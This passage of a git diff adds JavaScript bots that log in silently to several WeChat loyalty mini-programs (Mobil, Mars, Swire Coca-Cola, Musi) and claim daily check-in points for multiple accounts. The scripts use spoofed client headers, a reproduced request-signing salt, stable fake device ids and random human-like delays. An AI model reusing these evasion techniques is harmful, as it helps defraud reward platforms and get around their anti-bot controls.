+签到 POST r=api/kc/user/sign-in form(空) -> code==0 && data.now_date_is_sign +成功码 code==0。 + -1 或 msg 含 登录失效/未登录 = mall token 失效(重登重试一次)。 + -9 且 msg 含 "ulp:请先登录" = 会员积分平台(ulp/mefoto) 未登录/未注册 —— 该微信号在商城已登录,但 + 尚未在美孚会员体系注册(ulp_user_id=0 / need_improve_user_info=1),签到需先在小程序内完善会员信息。 + 按技能规则优雅报 ⚠️(不代注册、不崩溃)。 + -11 或 msg 含 风险识别/验证码 = 风控图形验证码(按技能规则不绕过,如实报告)。 +MALL_ID / APP_VERSION 是应用级常量(原脚本硬编码,非个人凭证);不发送 X-User-Id。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("美孚臻享俱乐部签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "mobil"; +const MINI_APP_ID = "wx46f9572cac706c22"; +const BASE_URL = "https://www.rewards.mobil.com.cn"; +const MALL_ID = "1"; +const APP_VERSION = "4.8.9"; +const PAGE_VERSION = "120"; +const TOKEN_CACHE_FILE = path.join(__dirname, "mobil_token_cache.json"); +const WX_UA = + "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) " + + "AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/126.0.6478.122 " + + "Mobile Safari/537.36 XWEB/1260059 MMWEBSDK/20240501 MMWEBID/3628 " + + "MicroMessenger/8.0.50.2701(0x28003252) WeChat/arm64 Weixin NetType/WIFI " + + "Language/zh_CN ABI/arm64 MiniProgramEnv/android"; + +const COMMON_HEADERS = { + Host: "www.rewards.mobil.com.cn", + Connection: "keep-alive", + Accept: "application/json, text/plain, */*", + charset: "utf-8", + "User-Agent": WX_UA, + "X-Form-Id-List": "[]", + "X-App-Platform": "wxapp", + "X-Requested-With": "XMLHttpRequest", + "X-channel": "WXapp", + "X-App-Version": APP_VERSION, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, +}; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function toObj(v) { + if (v && typeof v === "object") return v; + if (typeof v === "string") { try { return JSON.parse(v); } catch (e) { return { _raw: v }; } } + return {}; +} +function msgOf(r) { + if (!r || typeof r !== "object") return ""; + return String(r.msg || r.message || r.error || r.errmsg || r._raw || ""); +} +function getByPath(src, keys) { + let cur = src; + for (const k of keys) { if (!cur || typeof cur !== "object" || !(k in cur)) return undefined; cur = cur[k]; } + return cur; +} +function extractToken(res) { + const paths = [ + ["data", "access_token"], ["data", "accessToken"], ["data", "token"], + ["data", "user", "access_token"], ["data", "user", "accessToken"], ["data", "user", "token"], + ["data", "user_info", "access_token"], ["data", "user_info", "accessToken"], ["data", "user_info", "token"], + ["access_token"], ["accessToken"], ["token"], + ]; + for (const p of paths) { const v = getByPath(res, p); if (typeof v === "string" && v.trim()) return v.trim(); } + return ""; +} +// -9 ulp:请先登录 = 会员积分平台(ulp/mefoto)未登录/未注册,不是 mall token 失效 +function isUlpUnregistered(r) { + const msg = msgOf(r); + if (Number(r && r.code) === -9 && /ulp/i.test(msg)) return true; + return /ulp[::]\s*请先登录/i.test(msg); +} +// mall 层 token 失效(排除 ulp 会员态误伤) +function isLoginExpired(r) { + if (!r) return false; + const msg = msgOf(r); + if (/ulp/i.test(msg)) return false; + if (Number(r.code) === -1) return true; + return /登录失效|未登录|token\s*(失效|过期|无效)|invalid.*token|请重新登录/i.test(msg); +} +function needsCaptcha(r) { + if (!r) return false; + if (Number(r.code) === -11) return true; + return /风险识别|验证码|校验码|滑块/.test(msgOf(r)); +} +// user-info(data.ulp_user_id / ulp_user_info) 判定会员是否已建立 +function hasUlpMember(userInfo) { + const d = (userInfo && userInfo.data) || {}; + if (Number(d.ulp_user_id) > 0) return true; + if (Array.isArray(d.ulp_user_info)) return d.ulp_user_info.length > 0; + return !!d.ulp_user_info; +} + +const UNREG_MSG = + "⚠️ 该微信号已完成商城登录,但尚未在美孚臻享俱乐部注册会员(ulp_user_id=0 / need_improve_user_info=1," + + "服务端返回 -9 ulp:请先登录)。签到需先在小程序内完善会员信息/绑定手机号注册后再跑。"; + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.cookieJar = {}; + this.justLoggedIn = false; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + cookieString() { + return Object.entries(this.cookieJar) + .filter(([, v]) => v !== undefined && v !== null && v !== "" && v !== "deleted") + .map(([k, v]) => `${k}=${v}`).join("; "); + } + updateCookie(setCookie) { + if (!setCookie) return; + const arr = Array.isArray(setCookie) ? setCookie : [setCookie]; + for (const item of arr) { + const pair = String(item).split(";")[0]; + const i = pair.indexOf("="); + if (i <= 0) continue; + const k = pair.slice(0, i).trim(); + const v = pair.slice(i + 1).trim(); + if (k) this.cookieJar[k] = v; + } + } + async request(route, { method = "GET", body, contentType = "form", query, useToken = true } = {}) { + const url = new URL("/web/index.php", BASE_URL); + url.searchParams.set("_mall_id", MALL_ID); + url.searchParams.set("r", route); + for (const [k, v] of Object.entries(query || {})) { + if (v !== undefined && v !== null && v !== "") url.searchParams.set(k, String(v)); + } + const headers = { ...COMMON_HEADERS }; + if (useToken && this.token) headers["X-Access-Token"] = this.token; + const ck = this.cookieString(); + if (ck) headers.Cookie = ck; + + let data = body; + if (body !== undefined) { + if (contentType === "json") { + headers["Content-Type"] = "application/json"; + data = typeof body === "string" ? body : JSON.stringify(body); + } else { + headers["Content-Type"] = "application/x-www-form-urlencoded"; + data = typeof body === "string" ? body : new URLSearchParams(body).toString(); + } + } + const res = await axios.request({ + method: method || (body === undefined ? "GET" : "POST"), + url: url.toString(), + data, + headers, + timeout: 20000, + maxRedirects: 5, + validateStatus: () => true, + }); + this.updateCookie(res.headers && res.headers["set-cookie"]); + const obj = toObj(res.data); + if (res.status < 200 || res.status >= 300) { + // 业务结论有时躺在 4xx/5xx 的 JSON 体里;有 code/msg 就交给业务判定 + if (obj && (("code" in obj) || ("msg" in obj) || ("message" in obj))) return obj; + throw new Error(`${route} HTTP ${res.status}: ${short(res.data)}`); + } + return obj; + } + async safeRequest(route, opts) { + try { return await this.request(route, opts); } catch (e) { return { code: 500, msg: e.message || String(e) }; } + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + this.token = ""; + const res = await this.request("api/passport/login", { method: "POST", body: { code }, useToken: false }); + if (Number(res.code) !== 0) throw new Error(`业务登录失败: ${msgOf(res) || short(res)}`); + const token = extractToken(res); + if (!token) throw new Error(`登录未返回 token: ${short(res)}`); + this.token = token; + this.ulpUserId = Number(getByPath(res, ["data", "ulp_user_id"]) || 0); + this.justLoggedIn = true; + const cache = readCache(); + cache[this.account.openid] = { token: this.token, cookieJar: this.cookieJar, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async ensureLogin() { + if (this.token) return; + const cached = readCache()[this.account.openid] || {}; + if (cached.token) { + this.token = cached.token; + if (cached.cookieJar && typeof cached.cookieJar === "object") this.cookieJar = { ...cached.cookieJar }; + this.log("使用缓存token"); + return; + } + await this.login(); + } + // 只读预检:返回 unregistered / signed / unsigned / expired / unknown + async precheck() { + const info = await this.safeRequest("api/kc/user/user-info", { method: "GET" }); + if (isLoginExpired(info)) return "expired"; + if (isUlpUnregistered(info)) return "unregistered"; + if (Number(info.code) === 0) { + const d = info.data || {}; + const member = hasUlpMember(info); + const name = d.nickname || d.nick_name || d.mobile || ""; + if (member) this.log(`会员校验通过${name ? `(${name})` : ""}`); + const task = await this.safeRequest("api/kc/user/user-task", { method: "GET" }); + const needImprove = Number(getByPath(task, ["data", "data", "need_improve_user_info"])) === 1; + if (!member || needImprove) return "unregistered"; + } else { + this.log(`会员信息异常:${msgOf(info) || short(info)}`); + } + + const s = await this.safeRequest("api/kc/user/user-sign-info", { method: "GET" }); + if (isLoginExpired(s)) return "expired"; + if (isUlpUnregistered(s)) return "unregistered"; + if (Number(s.code) === 0) { + return (s.data || {}).now_date_is_sign ? "signed" : "unsigned"; + } + return "unknown"; + } + reportSign(res) { + if (Number(res.code) === 0) { + const d = res.data || {}; + const days = d.sign_continue_text || d.sign_continue_day || d.sign_continue || ""; + const points = d.sign_once_point || d.point || ""; + if (d.now_date_is_sign) { + this.log(`✅ 签到成功${days ? `,已累计签到 ${days} 天` : ""}${points ? `,本次 +${points} 积分` : ""}`); + } else { + this.log(`✅ 签到已处理:${short(res)}`); + } + return "ok"; + } + const msg = msgOf(res); + if (isUlpUnregistered(res)) { this.log(UNREG_MSG); return "unregistered"; } + if (/已签|已经签|签到过|重复|already/i.test(msg)) { this.log(`✅ 今日已签到(${msg})`); return "ok"; } + if (needsCaptcha(res)) { this.log(`⚠️ 触发风控图形验证码(${msg || "风险识别"});按规则不自动绕过,请稍后手动在小程序内签到或降低频率`); return "captcha"; } + this.log(`❌ 签到失败:${msg || short(res)}`); + return "fail"; + } + async doSign() { + return this.request("api/kc/user/sign-in", { method: "POST", body: "" }); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + + let state = await this.precheck(); + if (state === "expired" && !this.justLoggedIn) { + this.log("token 失效,重新登录后重试"); + await this.login(); + state = await this.precheck(); + } + if (state === "unregistered") { this.log(UNREG_MSG); return; } + if (state === "signed") { this.log("✅ 今日已签到"); return; } + + await $.wait(1500, 3500); + let res = await this.doSign(); + + if (isLoginExpired(res) && !this.justLoggedIn) { + this.log("签到时 token 失效,重新登录后重试"); + await this.login(); + await $.wait(1500, 3000); + res = await this.doSign(); + } + this.reportSign(res); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/mscxh.js b/wxapp/mscxh.js new file mode 100644 index 00000000..e7936082 --- /dev/null +++ b/wxapp/mscxh.js @@ -0,0 +1,223 @@ +/* +------------------------------------------ +@Description: 玛氏宠享会 - 微信小程序静默登录(code) + 每日签到 +cron: 28 9 * * * +------------------------------------------ +变量名:mscxh +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxd96d7e6249780c6a,host petcare-consumer.marschina.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +请求签名(GET/POST 通用):把本次请求的全部业务参数按 key 升序拼成 `k=v&k=v`, + 末尾接 salt "GQWwdCoVdn7SXtdf",MD5 十六进制 => signature(signature 本身不参与签名串)。 +公共参数:store_id=42 / _version=2.8.9 / _platform=wx / timestamp=秒级 +登录 POST /index.php?r=api/passport/login + 参数(同时进 query 与 form body):code,type=p,login_first=1,channel=default,store_id=42, + timestamp,_version,_platform (+signature) + -> code==0;token=data.access_token;nickname=data.nickname +积分 GET /index.php r=api/user/member access_token... -> code==0,data.user_info.integral +签到 GET /index.php r=api/integralmall/integralmall/register&type=1 access_token... + -> code==0,data.integral(本次积分);已签到时 code!=0 且 msg 提示 +salt / store_id 是这家小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("玛氏宠享会签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "mscxh"; +const MINI_APP_ID = "wxd96d7e6249780c6a"; +const HOST = "petcare-consumer.marschina.com"; +const API_URL = `https://${HOST}/index.php`; +const STORE_ID = "42"; +const SIGN_SALT = "GQWwdCoVdn7SXtdf"; +const VERSION = "2.8.9"; +const PLATFORM = "wx"; +const TOKEN_CACHE_FILE = path.join(__dirname, "mscxh_token_cache.json"); +const UA = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 XWEB/1340129 MMWEBSDK/20240301 MMWEBID/9871 " + + "MicroMessenger/8.0.48.2580(0x28003036) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 300) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function nowSec() { return Math.floor(Date.now() / 1000); } +function normalize(data) { + if (typeof data === "string") { try { return JSON.parse(data); } catch (e) { return { raw: data }; } } + return data || {}; +} +// 原脚本签名:sorted(k=v&...) + salt 后 md5;signature 不参与签名串 +function signParams(obj) { + const keys = Object.keys(obj).sort(); + const base = keys.map((k) => `${k}=${obj[k]}`).join("&"); + const signature = crypto.createHash("md5").update(base + SIGN_SALT, "utf8").digest("hex"); + return { ...obj, signature }; +} +function formEncode(obj) { + const p = new URLSearchParams(); + for (const k of Object.keys(obj)) p.append(k, String(obj[k])); + return p.toString(); +} +function codeOf(res) { + for (const k of ["code", "errno", "status", "ret", "resultCode"]) { + if (res && res[k] !== undefined && res[k] !== null) return Number(res[k]); + } + return NaN; +} +function msgOf(res) { + return (res && (res.msg || res.message || res.errmsg || res.info)) || ""; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.nickname = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + // GET 业务请求:全部参数进 query(含 signature) + async get(bizParams) { + const signed = signParams(bizParams); + const res = await axios.request({ + method: "GET", url: API_URL, params: signed, + headers: { "User-Agent": UA, authority: HOST, Accept: "application/json, text/plain, */*" }, + timeout: 20000, validateStatus: () => true, + }); + return normalize(res.data); + } + async login() { + const code = await this.getCode(); + const signed = signParams({ + store_id: STORE_ID, r: "api/passport/login", + code, type: "p", login_first: "1", channel: "default", + timestamp: nowSec(), _version: VERSION, _platform: PLATFORM, + }); + const res = await axios.request({ + method: "POST", url: API_URL, params: signed, data: formEncode(signed), + headers: { + "User-Agent": UA, authority: HOST, + "Content-Type": "application/x-www-form-urlencoded", + Accept: "application/json, text/plain, */*", + }, + timeout: 20000, validateStatus: () => true, + }); + const body = normalize(res.data); + if (codeOf(body) === 0 && body.data && body.data.access_token) { + this.token = String(body.data.access_token); + this.nickname = body.data.nickname || ""; + const cache = readCache(); + cache[this.account.openid] = { token: this.token, nickname: this.nickname, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${this.nickname ? `(${this.nickname})` : ""}`); + return; + } + const msg = msgOf(body); + if (/未注册|不存在|未绑定|请先|注册|激活/.test(String(msg))) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:${msg}`); + } + throw new Error(`登录未返回 access_token: ${msg || short(body)}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.nickname = cached.nickname || ""; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + baseParams(extra) { + return { + store_id: STORE_ID, access_token: this.token, + timestamp: nowSec(), _version: VERSION, _platform: PLATFORM, + ...(extra || {}), + }; + } + async queryPoints() { + try { + const res = await this.get(this.baseParams({ r: "api/user/member", type: "p" })); + if (codeOf(res) === 0 && res.data && res.data.user_info) { + this.log(`当前积分: ${res.data.user_info.integral}`); + } + return res; + } catch (e) { return null; } + } + async sign(retry = true) { + const res = await this.get(this.baseParams({ r: "api/integralmall/integralmall/register", type: 1 })); + if (codeOf(res) === 0) { + const got = res.data && res.data.integral !== undefined ? `,获得 ${res.data.integral} 积分` : ""; + return this.log(`✅ 签到成功${got}`); + } + const msg = msgOf(res) || short(res); + if (/已签|签过|签到过|重复|已完成|明天|已经/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (retry && /token|登录|未授权|失效|过期|未登录|鉴权|重新登录/i.test(String(msg))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + // 「请先授权」等 = 需先在小程序授权/注册会员,账号态非签到失败 + if (/请先授权|请授权|未注册|未绑定|绑定手机|完善.*信息|注册会员/.test(String(msg))) { + return this.log(`⚠️ 该微信号还没在玛氏宠享会授权/注册会员(${msg}),先在小程序里授权登录一次再跑`); + } + this.log(`❌ 签到失败: ${msg}`); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.queryPoints(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在玛氏宠享会注册/绑定(${String(e.message).slice(10)}),先在小程序里登录一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/mtyl.js b/wxapp/mtyl.js new file mode 100644 index 00000000..72024492 --- /dev/null +++ b/wxapp/mtyl.js @@ -0,0 +1,246 @@ +/* +------------------------------------------ +@Description: 每天有乐 - 微信小程序静默登录 + 每日签到 +cron: 50 8 * * * +------------------------------------------ +变量名:mtyl +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxd84920ac8965ee21,host bcportal.app.swirecocacola.com/portal-gateway-prod/portal-applets): + 登录 POST /wechat/userLoginByCode {code, sync:1} -> code==200, data.token + 同时要从 data.elseOpenid 里挑出 type=='zfj' 的那条的 koOpenid —— 签到要用它 + 之后所有请求带请求头 token: ,另外要 env-version=release 等几个固定头 + 积分 GET /applets/getMemberPoint?details=1 -> data.point / data.signStatus + 签到 GET /applets/sign?koOpenid=<上面那个 koOpenid> + 成功码 code==200;未注册会员时签到回 code==403「您还未注册会员」(账号态,不是脚本问题) +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("每天有乐"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "mtyl"; +const MINI_APP_ID = "wxd84920ac8965ee21"; +const BASE = "https://bcportal.app.swirecocacola.com/portal-gateway-prod/portal-applets"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "mtyl_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/wechat/userLoginByCode"; +const EP_SIGN = "/applets/sign"; +const EP_USER = "/applets/getMemberPoint"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +/** 该后端的成功判定 */ +const isOk = (res) => Number(res?.code) === 200; +const msgOf = (res) => res?.msg || res?.message || res?.msg || short(res); +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新|401/i.test(String(t || "")); +/** 账号态:这个微信号还没在该平台注册/绑定 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.signedToday = false; + // 设备号按 openid 稳定派生:同一账号每次跑都一样,避免被当成新设备 + this.deviceId = "d_" + require("crypto").createHash("md5") + .update(String(this.account.openid || raw)).digest("hex").slice(0, 16); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null, withAuth = true, method = "POST", query = null, epHeaders = null) { + const isForm = false; + const headers = { + "Content-Type": isForm ? "application/x-www-form-urlencoded" : "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + Accept: "application/json, text/plain, */*", + xweb_xhr: "1", + "X-Requested-With": "XMLHttpRequest", + "env-version": "release", + ...(epHeaders || {}), + }; + if (withAuth && this.token) headers["token"] = this.token; + const payload = body || {}; + + const isGet = String(method).toUpperCase() === "GET"; + // query 独立于 body:有些接口是 POST 但参数只在查询串上 + const qs = query ? form(query) : (isGet && Object.keys(payload).length ? form(payload) : ""); + const res = await axios.request({ + method: isGet ? "GET" : "POST", + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: isGet ? undefined : (isForm ? form(payload) : payload), + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论常常躺在 4xx/5xx 的 JSON 体里("今日已签到" 见过 400 也见过 500), + // 有 JSON 体就交给下游按业务码判,别在这一层抛掉 + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, sync: 1 }, false, "POST", null, null); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = (res.data || {}).token || ""; + this.koOpenid = String((((res.data || {}).elseOpenid || []).find((x) => x && x.type === "zfj") || {}).koOpenid || ""); + + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + if (!EP_USER) return true; + const res = await this.request(EP_USER, { details: 1 }, true, "GET", null, null); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + // 有的家没有 data/body 包装,响应体本身就是数据(zippo 的 profile 就是) + const d = res.data || res.datas || res.body || res || {}; + if (needLog) { + const bits = []; + for (const k of ["nickname", "nickName", "name", "memberId", "integral", "points", + "point", "score", "credits", "balance", "coin", "amount"]) { + if (d && d[k] !== undefined && d[k] !== null && d[k] !== "") bits.push(`${k}=${d[k]}`); + } + this.log(`会员: ${bits.join(" ") || short(d, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}, true, "GET", { koOpenid: this.koOpenid || "" }, null); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在该平台注册会员,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/daily/musi.js b/wxapp/musi.js similarity index 70% rename from daily/musi.js rename to wxapp/musi.js index 51af8c5e..bc3ac42c 100644 --- a/daily/musi.js +++ b/wxapp/musi.js @@ -1,14 +1,16 @@ + + /* ------------------------------------------ @Author: sm @Date: 2024.06.07 19:15 -@Description: 慕思小程序 签到 -cron: 30 10 * * * +@Description: +cron: 30 9 * * * ------------------------------------------ #Notice: -抓取https://atom.musiyoujia.com抓包 请求头里的 api_token,请求包里的 openId #拼接 -多账号&或换行 -抓包后不要打开小程序避免刷新了token,有效期待测试,如出现 “Token有误” 则是 token过期了请重新抓取 +慕斯小程序签到 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:musi ⚠️【免责声明】 ------------------------------------------ 1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 @@ -20,33 +22,90 @@ cron: 30 10 * * * 7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 */ -const { Env } = require("../tools/env") -const $ = new Env("慕思小程序"); +const { + Env +} = require("../tools/env") +const $ = new Env("慕斯小程序签到"); +const WeChatServer = require("./wcs.js"); let ckName = `musi`; const strSplitor = "#"; const axios = require("axios"); const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wx03527497c5369a2c', + auth: process.env.wx_auth || "your-api-key", +} +); class Task { constructor(env) { this.index = $.userIdx++ this.user = env.split(strSplitor); - this.activedAuthToken = this.user[0]; - this.openId = this.user[1]; - this.isSigned = false; - this.valid = false; - this.customId = "" - + this.activedAuthToken = null + this.wcsid = this.user[0] + this.openId = null } async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.activedAuthToken) { + 